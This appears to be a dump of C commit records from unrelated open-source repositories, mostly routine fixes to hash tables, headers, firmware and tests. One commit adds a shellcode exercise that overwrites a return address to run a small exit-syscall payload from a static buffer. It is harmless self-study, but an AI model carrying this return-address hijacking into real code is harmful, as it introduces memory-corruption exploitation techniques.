{"commit":"e4d969299a627124fde388be9b057781a3a57fe4","old_file":"src\/libreset\/ht.c","new_file":"src\/libreset\/ht.c","old_contents":"#include <stdlib.h>\n\n#include \"ht.h\"\n#include \"util\/macros.h\"\n\nstruct ht*\nht_init(\n    struct ht* ht,\n    size_t n\n) {\n    if (ht) {\n        ht->buckets = calloc(n, sizeof(*ht->buckets));\n        ht->nbuckets = n;\n    }\n\n    return ht;\n}\n\nvoid\nht_destroy(\n    struct ht* ht\n) {\n    if (ht) {\n        for (; ht->nbuckets > 0; ht->nbuckets--) {\n            avl_destroy(&ht->buckets[ht->nbuckets - 1].avl);\n        }\n        free(ht->buckets);\n        free(ht);\n    }\n}\n\nstruct ht_bucket*\nht_find(\n    struct ht* ht,\n    rs_hash hash\n) {\n    if (!ht) {\n        return NULL;\n    }\n\n    return &ht->buckets[hash % (CONSTPOW_TWO(BITCOUNT(hash)) \/ ht->nbuckets)];\n}\n\n","new_contents":"#include <stdlib.h>\n\n#include \"ht.h\"\n#include \"util\/macros.h\"\n\nstruct ht*\nht_init(\n    struct ht* ht,\n    size_t n\n) {\n    if (ht) {\n        ht->buckets = calloc(n, sizeof(*ht->buckets));\n        ht->nbuckets = n;\n    }\n\n    return ht;\n}\n\nvoid\nht_destroy(\n    struct ht* ht\n) {\n    if (ht) {\n        for (; ht->nbuckets > 0; ht->nbuckets--) {\n            avl_destroy(&ht->buckets[ht->nbuckets - 1].avl);\n        }\n        free(ht->buckets);\n        free(ht);\n    }\n}\n\nstruct ht_bucket*\nht_find(\n    struct ht* ht,\n    rs_hash hash\n) {\n    if (!ht) {\n        return NULL;\n    }\n\n    return &ht->buckets[hash \/ ((CONSTPOW_TWO(BITCOUNT(hash)) \/ ht->nbuckets))];\n}\n\n","subject":"Use division here, not modulo","message":"Fixup: Use division here, not modulo\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/libreset,waysome\/libreset"}
{"commit":"f350f1048b136bcf5adf21769af3379abc094d68","old_file":"zuzeelik.c","new_file":"zuzeelik.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <editline\/readline.h>\n#include <editline\/history.h>\n\nint main(int argc, char** argv) {\n\tputs(\"zuzeelik [version: v0.0.0-0.0.2]\");\n\tputs(\"Press Ctrl+C to Exit \\n\");\n\t\n\t\/* Starting REPL *\/\n\t\n\twhile(1){\n\t\t\/* output from the prompt*\/\n\t\tchar* input = readline(\"zuzeelik> \");\n\t\t\n\t\t\/*Add input to history *\/\n\t\tadd_history(input);\n\t\t\n\t\t\/* Echo the input back to the user *\/\n\t\tprintf(\"Got Input: %s \\n\", input);\n\n\t\tfree(input);\n\t}\n\n\treturn 0;\n}\n\t\t\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n\/* if compiling in windows, compiling with this functions *\/\n\n#ifdef _WIN32\n#include <string.h>\n\n\tstatic char buffer[2048];\n\t\/* fake readline functions *\/\n\tchar* readline(char* prompt) {\n\t\tfputs(prompt, stdout);\n\t\tfputs(buffer, 2048, stdin);\n\t\tfgets(buffer, 2048, stdin);\n\t\tchar* copy = malloc(strlen(buffer)+1);\n\t\tstrcpy(copy, buffer);\n\t\tcopy[strlen(copy) - 1] = '\\0';\n\t\treturn copy;\n\t}\n\t\/* fake add_history function *\/\n\tvoid add_history(char* not_used) {}\n\/* or include thesse editline header *\/\n#else \n\n\t#include <editline\/readline.h>\n\t#include <editline\/history.h>\n\n#endif\n\nint main(int argc, char** argv) {\n\tputs(\"zuzeelik [version: v0.0.0-0.0.3]\");\n\tputs(\"Press Ctrl+C to Exit \\n\");\n\t\n\t\/* Starting REPL *\/\n\t\n\twhile(1){\n\t\t\/* output from the prompt*\/\n\t\tchar* input = readline(\"zuzeelik> \");\n\t\t\n\t\t\/*Add input to history *\/\n\t\tadd_history(input);\n\t\t\n\t\t\/* Echo the input back to the user *\/\n\t\tprintf(\"Got Input: %s \\n\", input);\n\n\t\t\/*free retrieved input *\/\n\t\tfree(input);\n\t}\n\n\treturn 0;\n}\n","subject":"Add portability for windows OS","message":"Add portability for windows OS\n\nAdded protibility for windows OS,using preprocessor directives and\nmade fake functions for windows.\n","lang":"C","license":"bsd-3-clause","repos":"Mr-Kumar-Abhishek\/zuzeelik,shadow-stranger\/zuzeelik"}
{"commit":"aeb2aad80dfff4276c3e64347dd506bc2d73bc41","old_file":"pkg\/fizhi\/fizhi_ocean_coms.h","new_file":"pkg\/fizhi\/fizhi_ocean_coms.h","old_contents":"C $Header$\nC $Name$\n\nc Ocean Exports\nc -------------------\n      common \/ocean_exports\/ sst, sice, ksst, kice\n      _RL sst(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nsx,Nsy)\n      _RL sice(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nsx,Nsy)\n      integer ksst, kice\n\n","new_contents":"C $Header$\nC $Name$\n\nc Ocean Parameters\nc -------------------\n      common \/ocean_params\/sstclim,sstfreq,siceclim,sicefreq,ksst,kice\n      logical sstclim,sstfreq,siceclim,sicefreq\n      integer ksst, kice\n\nc Ocean Exports\nc -------------------\n      common \/ocean_exports\/ sst, sice\n      _RL sst(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nsx,Nsy)\n      _RL sice(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nsx,Nsy)\n\n","subject":"Add options for yearly sst data, move some other stuff around a bit","message":"Add options for yearly sst data, move some other stuff around a bit\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"}
{"commit":"446fbd56fc8ab90ea108f30376fb3f8706eabe75","old_file":"src\/sigen.h","new_file":"src\/sigen.h","old_contents":"\/\/\n\/\/ sigen.h: global header file for user includes\n\/\/ -----------------------------------\n\n#pragma once\n\n#include <sigen\/types.h>\n#include <sigen\/dvb_defs.h>\n#include <sigen\/version.h>\n\n#include <sigen\/tstream.h>\n#include <sigen\/packetizer.h>\n#include <sigen\/utc.h>\n#include <sigen\/util.h>\n#include <sigen\/dump.h>\n\n#include <sigen\/table.h>\n#include <sigen\/nit.h>\n#include <sigen\/bat.h>\n#include <sigen\/sdt.h>\n#include <sigen\/pat.h>\n#include <sigen\/pmt.h>\n#include <sigen\/cat.h>\n#include <sigen\/eit.h>\n#include <sigen\/tdt.h>\n#include <sigen\/tot.h>\n#include <sigen\/other_tables.h>\n\n#include <sigen\/descriptor.h>\n#include <sigen\/dvb_desc.h>\n#include <sigen\/stream_desc.h>\n#include <sigen\/nit_desc.h>\n#include <sigen\/linkage_desc.h>\n#include <sigen\/sdt_desc.h>\n#include <sigen\/pmt_desc.h>\n#include <sigen\/ssu_desc.h>\n#include <sigen\/eit_desc.h>\n","new_contents":"\/\/\n\/\/ sigen.h: global header file for user includes\n\/\/ -----------------------------------\n\n#pragma once\n\n#include \"types.h\"\n#include \"dvb_defs.h\"\n#include \"version.h\"\n\n#include \"tstream.h\"\n#include \"packetizer.h\"\n#include \"utc.h\"\n#include \"util.h\"\n#include \"dump.h\"\n\n#include \"table.h\"\n#include \"nit.h\"\n#include \"bat.h\"\n#include \"sdt.h\"\n#include \"pat.h\"\n#include \"pmt.h\"\n#include \"cat.h\"\n#include \"eit.h\"\n#include \"tdt.h\"\n#include \"tot.h\"\n#include \"other_tables.h\"\n\n#include \"descriptor.h\"\n#include \"dvb_desc.h\"\n#include \"stream_desc.h\"\n#include \"nit_desc.h\"\n#include \"linkage_desc.h\"\n#include \"sdt_desc.h\"\n#include \"pmt_desc.h\"\n#include \"ssu_desc.h\"\n#include \"eit_desc.h\"\n","subject":"Fix header includes to use local paths.","message":"Fix header includes to use local paths.\n","lang":"C","license":"mit","repos":"edporras\/sigen,edporras\/sigen,edporras\/sigen,edporras\/sigen"}
{"commit":"9e6bff980dd07d5cd9fcda8f882541fb2124366f","old_file":"test\/expression_command\/timeout\/wait-a-while.c","new_file":"test\/expression_command\/timeout\/wait-a-while.c","old_contents":"#include <stdio.h>\n#include <unistd.h>\n#include <sys\/time.h>\n#include <stdint.h>\n\nint \nwait_a_while (useconds_t interval)\n{\n  int num_times = 0;\n  int return_value = 1;\n\n  struct timeval start_time;\n  gettimeofday(&start_time, NULL);\n  uint64_t target = start_time.tv_sec * 1000000 + start_time.tv_usec + interval;\n\n  while (1)\n    {\n      num_times++;\n      return_value = usleep (interval);\n      if (return_value != 0)\n        {\n          struct timeval now;\n          gettimeofday(&now, NULL);\n          interval = target - now.tv_sec * 1000000 + now.tv_usec;\n        }\n      else\n        break;\n    }\n  return num_times;\n}\n\nint\nmain (int argc, char **argv)\n{\n  printf (\"stop here in main.\\n\");\n  int num_times = wait_a_while (argc * 1000);\n  printf (\"Done, took %d times.\\n\", num_times);\n\n  return 0;\n\n}\n","new_contents":"#include <stdio.h>\n#include <unistd.h>\n#include <sys\/time.h>\n#include <stdint.h>\n\nint \nwait_a_while (useconds_t interval)\n{\n  int num_times = 0;\n  int return_value = 1;\n\n  struct timeval start_time;\n  gettimeofday(&start_time, NULL);\n  uint64_t target = start_time.tv_sec * 1000000 + start_time.tv_usec + interval;\n\n  while (1)\n    {\n      num_times++;\n      return_value = usleep (interval);\n      if (return_value != 0)\n        {\n          struct timeval now;\n          gettimeofday(&now, NULL);\n          interval = target - (now.tv_sec * 1000000 + now.tv_usec);\n        }\n      else\n        break;\n    }\n  return num_times;\n}\n\nint\nmain (int argc, char **argv)\n{\n  printf (\"stop here in main.\\n\");\n  int num_times = wait_a_while (argc * 1000);\n  printf (\"Done, took %d times.\\n\", num_times);\n\n  return 0;\n\n}\n","subject":"Fix interval recalculation in the event that usleep is interrupted","message":"Fix interval recalculation in the event that usleep is interrupted\n\n\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@207566 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb"}
{"commit":"f518438117dce6549cc1e5f8eec27c42621458dc","old_file":"shellcode\/shellcode_1.c","new_file":"shellcode\/shellcode_1.c","old_contents":"","new_contents":"\/\/ gcc -mpreferred-stack-boundary=2 -ggdb shellcode_1.c -o shellcode_1\n\/\/ run the syscalls from syscall_native.c from a static buffer\n#include <stdio.h>\n\n\/\/ WORKING\n\/\/ * exit is called, and the process exits with the right code\n\n\/\/ TODO\n\/\/ * write doesn't write anything - check %ebp-4 is the right address\n\n\/\/ Get hex representation of syscall_inline.c from gdb\n\/\/ `disas f` to find the inline asm, then print each address:\n\/\/ (gdb) x\/bx f+13\n\/\/ (gdb) x\/bx f+14\n\/\/ etc...\n\n\/\/ This shellcode has lots of null bytes which is a problem\n\/\/ for overflowing string buffers. It's OK here because there is no\n\/\/ overflow - we just point main's return pointer at the start of the\n\/\/ static shellcode. Static memory is executable.\nconst char shellcode[] =\n  \/\/ print %ebp-4\n  \/\/ \"\\xb8\\x04\\x00\\x00\\x00\\xbb\\x01\\x00\\x00\\x00\\x8b\"\n  \/\/\"\\x4d\\xfc\\xba\\x03\\x00\\x00\\x00\\xcd\\x80\"\n\n  \/\/ exit 255\n  \/\/ (code is the first byte on the second line)\n  \"\\xb8\\x01\\x00\\x00\\x00\\xbb\"\n  \"\\xff\\x00\\x00\\x00\\xcd\\x80\";\n\nvoid f() {\n  \/\/ char s[] = \"hello\";\n  int *ret;\n  ret = (int*)&ret + 2;\n  (*ret) = (int)shellcode;\n}\n\nvoid main() {\n  f();\n  printf(\"not called because exit\\n\");\n}\n","subject":"Make exit syscall from shellcode in static memory","message":"Make exit syscall from shellcode in static memory\n\n* write syscall not working yet\n","lang":"C","license":"mit","repos":"jwhitfieldseed\/sandbox,jwhitfieldseed\/sandbox,jwhitfieldseed\/sandbox,jwhitfieldseed\/sandbox"}
{"commit":"4a84755d57214ef5b73fae956c525f70f4da7b66","old_file":"collatz\/count.c","new_file":"collatz\/count.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nstruct step_count {\n    long start;\n    long max;\n    size_t steps;\n};\n\nstatic\nlong r(long n, struct step_count* cnt)\n{\n    printf(\"%ld\\n\", n);\n    \/\/do not count last step, we're counting the initial call\n    \/\/causing 63,728,127 to count 950 steps instead of expected 949\n    if (n <= 1)\n        return n;\n    ++cnt->steps;\n    if (cnt->max < n) {\n        cnt->max = n;\n    }\n    if (n%2)\n        return r(n*3+1, cnt);\n    return r(n\/2, cnt);\n}\n\nint main (int argc, char **argv)\n{\n    long n = 15;\n    if (argc > 1)\n        n = strtol(argv[1], NULL, 10);\n    struct step_count cnt = {n, n, 0};\n    puts(\"Basic collatz fun - recursive C function\");\n    r(n, &cnt);\n    printf(\n            \"Started with %ld. Reached end after %zu steps\\nHighest value was %ld\\n\",\n            cnt.start,\n            cnt.steps,\n            cnt.max\n    );\n    return 0;\n}\n","subject":"Add collatz C snippet that keeps track of highest value + total steps taken","message":"Add collatz C snippet that keeps track of highest value + total steps taken\n","lang":"C","license":"mit","repos":"EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts"}
{"commit":"42352805016e94ea2d1b1f13bc8d6cde63c57022","old_file":"src\/commands\/debugger.c","new_file":"src\/commands\/debugger.c","old_contents":"#include \"debugger.h\"\n\n#include <stdio.h>\n#include <lua.h>\n\n#include \"laco.h\"\n\nvoid laco_print_debug_info(struct LacoState* laco,\n                           const char* function_name) {\n  lua_State* L = laco_get_laco_lua_state(laco);\n  lua_Debug debug_info = {0};\n\n  lua_getfield(L, LUA_GLOBALSINDEX, function_name);\n\n  lua_getinfo(L, \">Sl\", &debug_info);\n\n  printf(\n    \"What:            \\t%s\\n\"\n    \"Source file:     \\t%s\\n\"\n    \"Line defined on: \\t%d\\n\"\n    \"Current line:    \\t%d\\n\",\n    debug_info.what, debug_info.source,\n    debug_info.linedefined, debug_info.currentline);\n}\n","new_contents":"#include \"debugger.h\"\n\n#include <lua.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"laco.h\"\n#include \"util.h\"\n\nvoid laco_print_debug_info(struct LacoState* laco,\n                           const char* function_name) {\n  int i;\n  char* namespace;\n  lua_State* L         = laco_get_laco_lua_state(laco);\n  size_t index         = LUA_GLOBALSINDEX;\n  lua_Debug debug_info = {0};\n\n  char* name        = strdup(function_name);\n  char** namespaces = laco_split_by(\".\", name, 0);\n\n  \/* Walk down the namespace if there is something to go down *\/\n  for(i = 0; (namespace = namespaces[i]); i++) {\n    lua_getfield(L, index, namespace);\n    index = lua_gettop(L);\n  }\n\n  lua_getinfo(L, \">Sl\", &debug_info);\n\n  printf(\n    \"What:            \\t%s\\n\"\n    \"Source file:     \\t%s\\n\"\n    \"Line defined on: \\t%d\\n\"\n    \"Current line:    \\t%d\\n\",\n    debug_info.what, debug_info.source,\n    debug_info.linedefined, debug_info.currentline);\n\n  \/* Pop off the extra fields from the top of the stack *\/\n  if(i > 1) {\n    lua_pop(L, i - 1);\n  }\n\n  free(name);\n  free(namespaces);\n}\n","subject":"Add ablity to look through named tables","message":"Add ablity to look through named tables\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"eeef499339106928c39e22d9b5e0edfcaf3bc85c","old_file":"src\/fuzzing\/mutator.h","new_file":"src\/fuzzing\/mutator.h","old_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef MUTATOR_H_\n#define MUTATOR_H_\n\n#include <vector>\n\nnamespace fido2_tests {\n\n\/\/ Mutates the given data by applying combined basic mutation operations.\nclass Mutator {\n public:\n  enum MutationOperation {\n    kEraseByte,\n    kInsertByte,\n    kShuffleBytes,\n  };\n  Mutator(int max_mutation_degree = 10, int seed = time(NULL));\n  bool EraseByte(std::vector<uint8_t> &data, size_t max_size);\n  bool InsertByte(std::vector<uint8_t> &data, size_t max_size);\n  bool ShuffleBytes(std::vector<uint8_t> &data, size_t max_size);\n\n  bool Mutate(std::vector<uint8_t> &data, size_t max_size);\n\n private:\n  int max_mutation_degree_;\n};\n\n}  \/\/ namespace fido2_tests\n\n#endif  \/\/ MUTATOR_H_\n\n","new_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef MUTATOR_H_\n#define MUTATOR_H_\n\n#include <stdint.h>\n\n#include <ctime>\n#include <vector>\n\nnamespace fido2_tests {\n\n\/\/ Mutates the given data by applying combined basic mutation operations.\nclass Mutator {\n public:\n  enum MutationOperation {\n    kEraseByte,\n    kInsertByte,\n    kShuffleBytes,\n  };\n  Mutator(int max_mutation_degree = 10, int seed = time(NULL));\n  bool EraseByte(std::vector<uint8_t> &data, size_t max_size);\n  bool InsertByte(std::vector<uint8_t> &data, size_t max_size);\n  bool ShuffleBytes(std::vector<uint8_t> &data, size_t max_size);\n\n  bool Mutate(std::vector<uint8_t> &data, size_t max_size);\n\n private:\n  int max_mutation_degree_;\n};\n\n}  \/\/ namespace fido2_tests\n\n#endif  \/\/ MUTATOR_H_\n\n","subject":"Add library for github workflow","message":"Add library for github workflow\n","lang":"C","license":"apache-2.0","repos":"google\/CTAP2-test-tool,google\/CTAP2-test-tool,google\/CTAP2-test-tool"}
{"commit":"7d47b8f080e71139662b682d8f395f4a3f4789f2","old_file":"firmware\/greatfet_usb\/usb_api_dac.c","new_file":"firmware\/greatfet_usb\/usb_api_dac.c","old_contents":"\/*\n * This file is part of GreatFET\n *\/\n\n#include \"usb_api_dac.h\"\n#include \"usb.h\"\n#include \"usb_queue.h\"\n#include \"usb_endpoint.h\"\n\n#include <stddef.h>\n#include <greatfet_core.h>\n#include <dac.h>\n#include <pins.h>\n\nusb_request_status_t usb_vendor_request_dac_set(\n\t\tusb_endpoint_t* const endpoint, const usb_transfer_stage_t stage) {\n\tusb_endpoint_init(&usb0_endpoint_bulk_in);\n\tif (stage == USB_TRANSFER_STAGE_SETUP) {\n\t\t\n\t\t\/\/ set J2_P5 up as a DAC pin\n\t\tscu_pinmux(SCU_PINMUX_GPIO2_3, SCU_GPIO_FAST | SCU_GPIO_PUP | SCU_CONF_FUNCTION0);\n\t\tstatic struct gpio_t dac_pin = GPIO(2, 3);\n\t\tgpio_input(&dac_pin); \n\n\t\tDAC_CR = DAC_CR_VALUE(endpoint->setup.value) && DAC_CR_VALUE_MASK;\n\t\tDAC_CTRL = DAC_CTRL_DMA_ENA;\n\n\t\tusb_transfer_schedule_ack(endpoint->in);\n\t}\n\treturn USB_REQUEST_STATUS_OK;\n}\n","new_contents":"\/*\n * This file is part of GreatFET\n *\/\n\n#include \"usb_api_dac.h\"\n#include \"usb.h\"\n#include \"usb_queue.h\"\n#include \"usb_endpoint.h\"\n\n#include <stddef.h>\n#include <greatfet_core.h>\n#include <dac.h>\n#include <pins.h>\n\nusb_request_status_t usb_vendor_request_dac_set(\n\t\tusb_endpoint_t* const endpoint, const usb_transfer_stage_t stage) {\n\tusb_endpoint_init(&usb0_endpoint_bulk_in);\n\tif (stage == USB_TRANSFER_STAGE_SETUP) {\n\t\t\n\t\t\/\/ set J2_P5 up as a DAC pin\n\t\tscu_pinmux(SCU_PINMUX_GPIO2_3, SCU_GPIO_FAST | SCU_GPIO_PUP | SCU_CONF_FUNCTION0);\n\t\tstatic struct gpio_t dac_pin = GPIO(2, 3);\n\t\tgpio_input(&dac_pin); \n\n\t\tDAC_CR = DAC_CR_VALUE(endpoint->setup.value) & DAC_CR_VALUE_MASK;\n\t\tDAC_CTRL = DAC_CTRL_DMA_ENA;\n\n\t\tusb_transfer_schedule_ack(endpoint->in);\n\t}\n\treturn USB_REQUEST_STATUS_OK;\n}\n","subject":"Fix typo which used a mask for a logical-and","message":"Fix typo which used a mask for a logical-and\n\nThe DAC conversion register value mask was logical-and'ed instead of\nbitwise-and'ed when setting the DAC value via USB vendor request.\n","lang":"C","license":"bsd-3-clause","repos":"greatscottgadgets\/greatfet,dominicgs\/GreatFET-experimental,greatscottgadgets\/greatfet,greatscottgadgets\/greatfet,dominicgs\/GreatFET-experimental,dominicgs\/GreatFET-experimental,greatscottgadgets\/greatfet"}
{"commit":"452d4b6c823d793770676dc5e2f3fc32c6c15e6d","old_file":"src\/condor_includes\/condor_constants.h","new_file":"src\/condor_includes\/condor_constants.h","old_contents":"#ifndef CONSTANTS_H\n#define CONSTANTS_H\n\n\n#if !defined(__STDC__) && !defined(__cplusplus)\n#define const\n#endif\n\n\/*\n\tSet up a boolean variable type.  Since this definition could conflict\n\twith other reasonable definition of BOOLEAN, i.e. using an enumeration,\n\tit is conditional.\n*\/\n#ifndef BOOLEAN_TYPE_DEFINED\ntypedef int BOOLEAN;\ntypedef int BOOL_T;\n#endif\n\n#if defined(TRUE)\n#\tundef TRUE\n#\tundef FALSE\n#endif\n\nstatic const int\tTRUE = 1;\nstatic const int\tFALSE = 0;\n\n\/*\n\tUseful constants for turning seconds into larger units of time.  Since\n\tthese constants may have already been defined elsewhere, they are\n\tconditional.\n*\/\n#ifndef TIME_CONSTANTS_DEFINED\nstatic const int\tMINUTE = 60;\nstatic const int\tHOUR = 60 * 60;\nstatic const int\tDAY = 24 * 60 * 60;\n#endif\n\n\/*\n  This is for use with strcmp() and related functions which will return\n  0 upon a match.\n*\/\n#ifndef MATCH\nstatic const int\tMATCH = 0;\n#endif\n\n\/*\n  These are the well known file descriptors used for remote system call and\n  logging functions.\n*\/\n#ifndef CLIENT_LOG\nstatic const int CLIENT_LOG = 18;\nstatic const int RSC_SOCK = 17;\n#endif\nstatic const int REQ_SOCK = 16;\nstatic const int RPL_SOCK = 17;\n\n#endif\n","new_contents":"#ifndef CONSTANTS_H\n#define CONSTANTS_H\n\n\n#if !defined(__STDC__) && !defined(__cplusplus)\n#define const\n#endif\n\n\/*\n\tSet up a boolean variable type.  Since this definition could conflict\n\twith other reasonable definition of BOOLEAN, i.e. using an enumeration,\n\tit is conditional.\n*\/\n#ifndef BOOLEAN_TYPE_DEFINED\ntypedef int BOOLEAN;\ntypedef int BOOL_T;\n#define BOOLAN_TYPE_DEFINED\n#endif\n\n#if defined(TRUE)\n#\tundef TRUE\n#\tundef FALSE\n#endif\n\nstatic const int\tTRUE = 1;\nstatic const int\tFALSE = 0;\n\n\/*\n\tUseful constants for turning seconds into larger units of time.  Since\n\tthese constants may have already been defined elsewhere, they are\n\tconditional.\n*\/\n#ifndef TIME_CONSTANTS_DEFINED\nstatic const int\tMINUTE = 60;\nstatic const int\tHOUR = 60 * 60;\nstatic const int\tDAY = 24 * 60 * 60;\n#endif\n\n\/*\n  This is for use with strcmp() and related functions which will return\n  0 upon a match.\n*\/\n#ifndef MATCH\nstatic const int\tMATCH = 0;\n#endif\n\n\/*\n  These are the well known file descriptors used for remote system call and\n  logging functions.\n*\/\n#ifndef CLIENT_LOG\nstatic const int CLIENT_LOG = 18;\nstatic const int RSC_SOCK = 17;\n#endif\nstatic const int REQ_SOCK = 16;\nstatic const int RPL_SOCK = 17;\n\n#endif\n","subject":"Define CPP macro BOOLAN_TYPE_DEFINED when we define types BOOLEAN and BOOL_T, to avoid doing it twice.","message":"Define CPP macro BOOLAN_TYPE_DEFINED when we define types\nBOOLEAN and BOOL_T, to avoid doing it twice.\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/condor,djw8605\/condor,htcondor\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,clalancette\/condor-dcloud,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor"}
{"commit":"c033df3aeef588c2faf3cce3066b091980be0083","old_file":"src\/include\/xmmsc\/xmmsc_sockets.h","new_file":"src\/include\/xmmsc\/xmmsc_sockets.h","old_contents":"#ifndef XMMSC_SOCKETS_H\n#define XMMSC_SOCKETS_H\n\n#include <xmmsc\/xmmsc_stdbool.h>\n\n\/* Windows *\/\n\n#ifdef _MSC_VER\n#include <Winsock2.h>\n#include <Ws2tcpip.h>\ntypedef SOCKET xmms_socket_t;\ntypedef int socklen_t;\n#define XMMS_EINTR WSAEINTR\n#define XMMS_EAGAIN WSAEWOULDBLOCK\n\n\/* UNIX *\/\n#else\n#define SOCKET_ERROR (-1)\n#define XMMS_EINTR EINTR\n#define XMMS_EAGAIN EWOULDBLOCK\n#include <sys\/socket.h>\n#include <sys\/select.h>\n#include <sys\/types.h>\n#include <netinet\/in.h>\n#include <netinet\/tcp.h>\n#include <arpa\/inet.h>\n#include <netdb.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\ntypedef int xmms_socket_t;\n#endif\n\nint xmms_sockets_initialize();\nint xmms_socket_set_nonblock(xmms_socket_t socket);\nint xmms_socket_valid(xmms_socket_t socket);\nvoid xmms_socket_close(xmms_socket_t socket);\nint xmms_socket_errno();\nbool xmms_socket_error_recoverable();\n\n#endif\n","new_contents":"#ifndef XMMSC_SOCKETS_H\n#define XMMSC_SOCKETS_H\n\n#include <xmmsc\/xmmsc_stdbool.h>\n\n\/* Windows *\/\n\n#ifdef _MSC_VER\n#include <Winsock2.h>\n#include <Ws2tcpip.h>\ntypedef SOCKET xmms_socket_t;\ntypedef int socklen_t;\n#define XMMS_EINTR WSAEINTR\n#define XMMS_EAGAIN WSAEWOULDBLOCK\n\n\/* UNIX *\/\n#else\n#define SOCKET_ERROR (-1)\n#define XMMS_EINTR EINTR\n#define XMMS_EAGAIN EWOULDBLOCK\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <sys\/select.h>\n#include <netinet\/in.h>\n#include <netinet\/tcp.h>\n#include <arpa\/inet.h>\n#include <netdb.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\ntypedef int xmms_socket_t;\n#endif\n\nint xmms_sockets_initialize();\nint xmms_socket_set_nonblock(xmms_socket_t socket);\nint xmms_socket_valid(xmms_socket_t socket);\nvoid xmms_socket_close(xmms_socket_t socket);\nint xmms_socket_errno();\nbool xmms_socket_error_recoverable();\n\n#endif\n","subject":"Fix compilation on OpenBSD (from Bernhard Leiner)","message":"BUG(501): Fix compilation on OpenBSD (from Bernhard 